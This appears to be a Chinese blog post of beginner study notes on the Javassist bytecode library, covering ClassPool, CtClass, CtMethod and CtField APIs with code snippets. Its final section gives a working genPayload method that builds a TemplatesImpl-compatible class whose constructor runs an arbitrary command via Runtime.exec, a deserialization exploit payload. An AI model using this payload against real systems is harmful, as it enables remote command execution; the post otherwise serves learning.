【Java】小白友好的Javassist源代码级别常用API学习笔记

目录

介绍

Javassist&ASM?

Javassist关键类

常用方法

[ClassPool 的常用方法](#ClassPool 的常用方法)

[CtClass 的常用方法](#CtClass 的常用方法)

[CtMethod 的常用方法](#CtMethod 的常用方法)

[CtField 的常用方法](#CtField 的常用方法)

补充

[setSuperclass in Javassist](#setSuperclass in Javassist)

[constructor in Javassist](#constructor in Javassist)

[toBytecode in Javassist](#toBytecode in Javassist)

Javassist实现TemplatesImpl恶意字节码生成方法


介绍

pom依赖

复制代码
<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.29.2-GA</version>
</dependency>

Javassist使**++Java字节码操作++** 变得简单,它是一个用于在Java中编辑字节码的类库

它使Java程序能够在运行时定义一个新类,并在JVM加载类文件时对其进行修改

与其他类似的字节码编辑器不同,Javassist提供了两个级别的API:++源代码级别和字节码级别++

如果用户使用源代码级API,他们可以在不了解Java字节码规范的情况下编辑类文件。整个API仅使用Java语言的词汇设计。甚至可以以源代码的形式指定插入的字节码,Javassist会即时地进行编译

另一方面,字节码级API允许用户像其他编辑器一样直接编辑类文件

Javassist&ASM?

javassist的主要优点是简单,使用javassist不需要了解class文件结构,也不需要了解字节码指令,就能动态改变类的结构或生成类,但这同时也是缺点,这种简单带来了局限性,也导致性能降低。

而ASM恰好与之相反,使用ASM需要了解底层,对使用者有一定的门槛,但ASM没有局限,我们完全可以使用ASM编写任意一个能用JAVA代码编写的类。

Javassist关键类

①ClassPool: 一个基于Hashtable实现的CtClass对象容器, 其中键是类名称, 值是表示该类的CtClass对象

②CtClass: CtClass表示类, 一个CtClass(编译时类)对象可以处理一个class文件, 这些CtClass对象可以从ClassPool获得

③CtMethods: 表示类中的方法

④CtFields: 表示类中的字段

常用方法

ClassPool 的常用方法

  • getDefault(): 获取默认的 ClassPool 对象。

  • makeClass(String classname): 创建一个新的 CtClass 对象。

  • get(String classname): 根据类名获取现有的 CtClass 对象。

    import javassist.ClassPool;
    import javassist.CtClass;

    ClassPool classPool = ClassPool.getDefault();
    CtClass ctClass = classPool.makeClass("com.example.NewClass");
    CtClass existingClass = classPool.get("com.example.ExistingClass");

CtClass 的常用方法

  • addMethod(CtMethod method): 添加一个新的 CtMethod 对象。

  • addField(CtField field): 添加一个新的 CtField 对象。

  • toClass(): 将 CtClass 转换为实际的 Class 对象。

  • writeFile(): 将 CtClass 写入磁盘文件。

    import javassist.CtClass;
    import javassist.CtMethod;
    import javassist.CtField;

    CtClass ctClass = classPool.makeClass("com.example.NewClass");
    CtMethod newMethod = CtMethod.make("public void newMethod() { System.out.println("New Method"); }", ctClass);
    ctClass.addMethod(newMethod);
    CtField newField = new CtField(CtClass.intType, "newField", ctClass);
    ctClass.addField(newField);
    Class<?> clazz = ctClass.toClass();
    ctClass.writeFile("/path/to/output/directory");

CtMethod 的常用方法

  • make(String src, CtClass declaring): 根据源代码和声明类创建一个新的 CtMethod 对象。

  • getReturnType(): 获取方法的返回类型。

  • getParameterTypes(): 获取方法的参数类型。

  • getMethodBody(): 获取方法体(代码块)。

  • insertBefore(String src): 在方法体之前插入代码。

  • insertAfter(String src): 在方法体之后插入代码。

    import javassist.CtMethod;

    CtMethod existingMethod = ctClass.getDeclaredMethod("existingMethod");
    CtMethod newMethod = CtMethod.make("public void newMethod() { System.out.println("New Method"); }", ctClass);
    String returnType = existingMethod.getReturnType().getName();
    CtClass[] parameterTypes = existingMethod.getParameterTypes();
    String methodBody = existingMethod.getMethodBody();
    existingMethod.insertBefore("System.out.println("Before method");");
    existingMethod.insertAfter("System.out.println("After method");");

CtField 的常用方法

  • make(CtClass type, String name, CtClass declaring): 根据类型、字段名和声明类创建一个新的 CtField 对象。

  • getType(): 获取字段的类型。

  • getModifiers(): 获取字段的修饰符。

  • setModifiers(int modifiers): 设置字段的修饰符。

  • getDeclaringClass(): 获取声明该字段的类。

    import javassist.CtField;

    CtField existingField = ctClass.getField("existingField");
    CtField newField = CtField.make("private int newField;", ctClass);
    CtClass fieldType = existingField.getType();
    int modifiers = existingField.getModifiers();
    existingField.setModifiers(Modifier.PRIVATE);
    CtClass declaringClass = existingField.getDeclaringClass();

补充

setSuperclass in Javassist

在 Javassist 中,setSuperclass() 方法用于设置一个类的父类。通过 setSuperclass() 方法,可以将一个类指定为另一个类的子类,从而继承父类的属性和方法。

复制代码
ClassPool classPool = ClassPool.getDefault();
CtClass superClass = classPool.get("com.example.SuperClass");

CtClass subClass = classPool.makeClass("com.example.SubClass");
subClass.setSuperclass(superClass);

constructor in Javassist

constructor 是 Javassist 中用于表示构造函数的对象。通过 constructor,可以获取构造函数的参数信息、方法体等,并进行相应的操作,如修改构造函数的行为或生成新的构造函数

复制代码
CtConstructor superConstructor = superClass.getDeclaredConstructors()[0]; // 获取第一个构造函数
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);

toBytecode in Javassist

toBytecode() 方法用于将构造函数、方法等转换为字节码形式。通过 toBytecode() 方法,可以获取构造函数的字节码表示,进而进行进一步的分析、修改或生成新的构造函数

复制代码
byte[] bytecode = superConstructor.toBytecode();
System.out.println(new String(bytecode));

Javassist实现TemplatesImpl恶意字节码生成方法

复制代码
public static byte[] genPayload(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }
相关推荐
还是鼠鼠25 分钟前
tlias智能学习辅助系统--Maven 高级-私服介绍与资源上传下载
java·spring boot·后端·spring·maven
Xiaokai丶1 小时前
Java 8 新特性深度剖析:核心要点与代码实战
java
灵魂猎手1 小时前
3. MyBatis Executor:SQL 执行的核心引擎
java·后端·源码
Galaxy在掘金1 小时前
从业8年,谈谈我认知的后端架构之路-1
java·架构
努力努力再努力wz1 小时前
【c++深入系列】:万字详解模版(下)
java·c++·redis
瓦特what?3 小时前
关于C++的#include的超超超详细讲解
java·开发语言·数据结构·c++·算法·信息可视化·数据挖掘
是乐谷3 小时前
阿里云杭州 AI 产品法务岗位信息分享(2025 年 8 月)
java·人工智能·阿里云·面试·职场和发展·机器人·云计算
Java水解4 小时前
Java中的四种引用类型详解:强引用、软引用、弱引用和虚引用
java·后端
lifallen4 小时前
JCTools 无锁并发队列基础:ConcurrentCircularArrayQueue
java·开发语言·数据结构·算法
一叶飘零_sweeeet4 小时前
IDEA 插件 Trae AI 全攻略
java·人工智能·intellij-idea